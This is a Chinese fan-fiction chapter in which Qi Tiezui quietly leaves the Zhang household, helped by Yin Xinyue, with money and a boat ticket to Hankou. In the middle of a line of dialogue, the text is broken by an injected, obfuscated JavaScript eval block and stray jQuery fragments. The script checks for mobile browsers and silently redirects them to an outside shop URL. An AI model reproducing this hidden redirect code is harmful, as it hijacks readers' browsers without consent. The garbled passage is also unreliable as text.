齐铁嘴醒过来的时候,阳光已经从窗缝里透进来,在床面上铺了一道金色的长条。他的怀里空荡荡的,被窝另一侧还留着余温,人却已经不在身边了。椅子整齐地摆在床边,昨夜摊开的军务文书已经合上搁在桌面,像是从来没有人在这张床上躺过似的。

    齐铁嘴坐起来,拢了拢散开的衣领,指尖碰到嘴唇的时候微微顿了一下。他抿了抿嘴,把那个念头压下去,翻身下了床。

    张小鱼不在屋里。他今天似乎军务缠身,一大早就去了书房。齐铁嘴竖着耳朵听了听院子里的动静,远处隐约传来张小鱼跟底下人交代事情的声音,短促而利落,一时半会儿不会回来。

    齐铁嘴轻手轻脚地走到衣架前。他的衣裳不多,统共就几件,是这些天养病时张小烬让人新做的。青灰色的长衫叠在最上面,底下是一件藏蓝的外袍,还有一身他从前穿惯了的旧衣裳,已经洗干净了叠得整整齐齐。齐铁嘴把它们一件件拿下来,卷成一个不大不小的包袱。

    他环顾了一圈这间卧房。

    张启山的书桌,张启山的笔架,张启山的砚台。窗台上摆着二月红带来的那几盆草药,半个月下来已经扎了根,绿叶抽了新芽。床头矮几上搁着他的药碗,旁边压着一张折好的信纸,是张小烬的字迹,写着服药的时间和剂量。床帐被什么人仔细地拢好了,绸缎垂下时一丝褶皱也无。

    齐铁嘴伸手把枕头上自己压出来的凹痕拍了拍,又把被角理了理,努力让床面看起来像是没人躺过一样。他做这些事的时候很慢,像在跟什么东西告别。

    做完这些,他走到窗边,推开了一条缝。

    佛爷府的院子在初冬的阳光下显得格外平和。后厨的烟囱冒着袅袅的炊烟,几个下人端着食盒从回廊下面走过。前院的操场上,几个年轻的士兵正在练拳,整齐的呼喝声穿过几道院墙传过来,闷闷的。再远处,他隐约能看见张小鱼的身影,穿着军装站在书房门口,正低头跟一个递公文的士兵说话,侧脸被阳光镀了一层暖绒绒的金边。

    齐铁嘴趴在窗框上看了一会儿,把窗户慢慢合上了。

    他靠在窗边,仰头看着天花板,长长地呼出一口气。

    够了。他在心里跟自己说。至少在他们娶妻生子之前,在那四个人的心都还没变成别人的之前,他已经知道了他们的心意。张启山坐在床边握着他的手不放的样子,张日山趴在他手边睡着的样子,张小烬夜里拢着他后背时掌心的温度,张小鱼昨晚那个克制又冲动、只碰了一下就急忙分开的吻。

    他都记得。这些够他往后余生在孤身一人的时候,翻出来一点一点地回味了。

    至于未来——太渺茫了。谁也不知道事情会往哪边发展。也许他们四个现在对他只是新鲜,日子久了就淡了;也许他们最后还是遇见了各自命定的那个人,娶妻生子,阖家团圆;也许他留在这里,到头来还是要看着他们一个个地从自己身边离开。

    与其等到那一天再碎一次,不如现在就走了。

    齐铁嘴拍了拍衣襟上不存在的灰,把那个不大的包袱塞进了被子里,推门走了出去。

    早饭是张小鱼端到院子里来吃的。白粥、酱菜、两个热腾腾的包子,还有一小碟桂花糕。齐铁嘴坐在廊下的藤椅上,端着粥碗一口一口地喝,张小鱼坐在他对面的石凳上跟他一道吃。

    "八爷今天起得早。"张小鱼咬着包子看了他一眼。

    "嗯,睡不着。"

    "昨天晚上睡得不好?"张小鱼的筷子顿了一下,目光在他脸上停了一瞬,"我后来走了以后你没醒吧?"

    齐铁嘴的耳根又烫了一下。他把脸埋进粥碗里,含混道:"没醒。你走了我才不知道。"

    张小鱼笑了一声,没再追问。

    吃完饭张小鱼就去了书房,把军务文书搬了一摞出来,摊在院子里的石桌上批。齐铁嘴搬了把椅子坐在旁边,把茶具摆开了,慢悠悠地泡茶。泡好了给张小鱼递一杯,自己捧一杯,就那么安安静静地坐着。

    太阳从东边渐渐升到头顶,院子里那棵老槐树的影子从西墙缩到了树根底下。齐铁嘴续了不知道第几壶水,手指摩挲着杯壁,看着石桌上那摞文书慢慢地矮下去。

    从早上八点到十一点,他一步也没离开过那把椅子。

    张小鱼批完最后一份文件,搁下笔,抬头打量了一下齐铁嘴。他面前的茶续了六杯,桂花糕一动没动,整个人安安静静地坐在那儿,姿态乖得反常。

    "八爷,"张小鱼眯起眼,"你今天这么乖,陪我坐了一早上,屁股都没挪位。你没憋什么坏招吧?"

    齐铁嘴正在倒第七杯茶的手微微一顿。他抬起眼,冲张小鱼翻了个白眼:"你有病啊?不陪你你说我,陪你你还说我。那行了,不陪你了,我回房间了。"

    他把茶壶往桌上一搁,站起来转身就走,步子迈得又急又快。张小鱼在后面喊了一声"八爷我逗你玩的——",齐铁嘴头也没回,拐过回廊就钻进了主院的月亮门。

    他快步走回卧房,反手把门掩上,背靠着门板喘了两口气。心跳得厉害,指尖都在发抖。他缓了缓,走到床边从被子里掏出那个包袱,又飞快地扫视了一圈房间,确认自己没有落下什么东西。

    刚把包袱系好,门外就响起了敲门声。

    齐铁嘴吓得手一抖,包袱差点掉在地上。他把包袱往被子里一塞,清了清嗓子:"谁?"

    "八爷——"门外是个陌生的小厮声音,"佛爷那边来了人,找张副官有急事。"

    齐铁嘴还没回答,就听见院子里张小鱼的脚步声急急地响过来,然后是一阵简短的对话。张小鱼的声音透着疑惑:"佛爷那边不是有日山和小烬盯着吗……"说了几句,还是跟着那人往前院走了。

    脚步声渐远。

    齐铁嘴站在门后,听见自己的心跳从急促渐渐平缓下来。他等了约莫一盏茶的工夫,再没听见别的动静,才伸手拉开了门。

    尹新月站在门外。

    她今天换了一身深色的袄裙,头发挽得利落,脸上脂粉未施,显得比平时憔悴了几分。她手里拎着一个青布的包袱,看见齐铁嘴开门的时候,眼底的神色闪了一下。

    "八爷。"她把包袱递过来,"张小鱼已经支开了。我让人传的话,说佛爷那边文书出了岔子,要他亲自跑一趟官驿,一时半会儿回不来。"

    齐铁嘴接过包袱,入手沉甸甸的。他打开一角看了一眼,里面是几块银元,一小叠纸币,最底下压着一张船票,写着下午两点,湘江码头,往汉口去的。

    "嫂子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846606|211740||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,这我不能要,,,——"齐铁嘴推回去。

    尹新月把他的手按住了,力道意外地大。"你拿着。"她的嗓音有些哑,"原本叫你离开就已经……这些当是我的一点心意,你别推辞。"

    齐铁嘴看着她的眼睛,那双眼睛里全是复杂的情绪,有愧疚,有决绝,还有一丝他说不清的、像是终于松了一口气的释然。他张了张嘴,想说点什么,最终只是把包袱抱紧了,冲她弯了弯嘴角。

    "多谢嫂子。"

    尹新月别过脸去,不再看他。"走吧。偏门那边我已经清了人,你从东边的角门出去,沿着巷子一直往南走,到湘江码头正好赶上船。"

    齐铁嘴点了点头,把包袱挎在肩上,跟着她出了卧房。两人一前一后穿过回廊,拐过佛爷府东侧那条平日少有人走的窄道,沿途果然一个人也没碰到。两边的门都关着,窗都合着,像是整座府邸都在默契地替他送行。

    角门就在前方,黑漆的木门已经开了一条缝,门外的巷子安安静静的,阳光照在青石板地上,泛着暖融融的光。

    齐铁嘴在门槛前站住了。

    他回过头,隔着半个院子去看身后的佛爷府。正院的屋脊在树影间露出一个翘角的轮廓,他住了两年的偏院在更远的东侧,现在已经看不见了。张启山的主卧在这条回廊的尽头,窗口正对着那棵老槐树,此刻窗户合着,窗台上那几盆草药的新叶从缝隙里探出来,绿得鲜亮。

    他忽然想,张启山回来以后,推开那间卧房的门,看见床上空了,屋子里关于他的一切都被他刻意抹掉了,那双手会不会像那天傍晚一样抖?

    张小鱼从官驿回来,发现他不在了,会不会站在院子中间愣很久?

    张日山和张小烬陪着佛爷回来,走进那座空荡荡的卧房时,会不会后悔那天在火车上为什么没有多看他一眼?

    这些他全都看不到了。

    齐铁嘴笑了笑。那笑轻轻的,浅浅的,带着一点苦涩和一点释然。

    他跨过了那道门槛。

    身后传来尹新月轻轻合上木门的声音,咔嗒一声,门闩落了。齐铁嘴站在巷子里,初冬的风迎面吹来,凉飕飕地灌进领口。他把青布包袱往肩上掂了掂,拢了拢衣襟,朝着湘江的方向迈开了步子。

    巷子很长,两侧是高高的墙。他的脚步声在窄巷里回荡着,一个人孤零零的,却比从前任何一次都要踏实。

    走了就是走了。以后天大地大,他齐铁嘴一个人过。

    他低着头往前走,眼睫毛在初冬的日光里投下一小片阴影。包袱里的船票硌着他的腰,银元在布包里磕碰着,发出细碎的叮当声。

    他不知道身后那座宅子里,有个人正趴在角门的门缝上看着他远去。尹新月攥着门框,指甲掐进了木头的纹理里,看着那个青灰色的背影越走越远,最终消失在巷口拐角的地方。

    她把额头抵在门板上,闭着眼,肩膀轻轻地抖。

    对不起。她在心里说。对不起八爷。

    可她不能后悔。她不能。

    巷口的拐角处,齐铁嘴最后停了一步。他没有回头,只是站在那里站了几个呼吸的工夫,然后迈开步子,拐了过去。

    阳光落在他曾经站过的那个位置,空荡荡的,什么也没留下。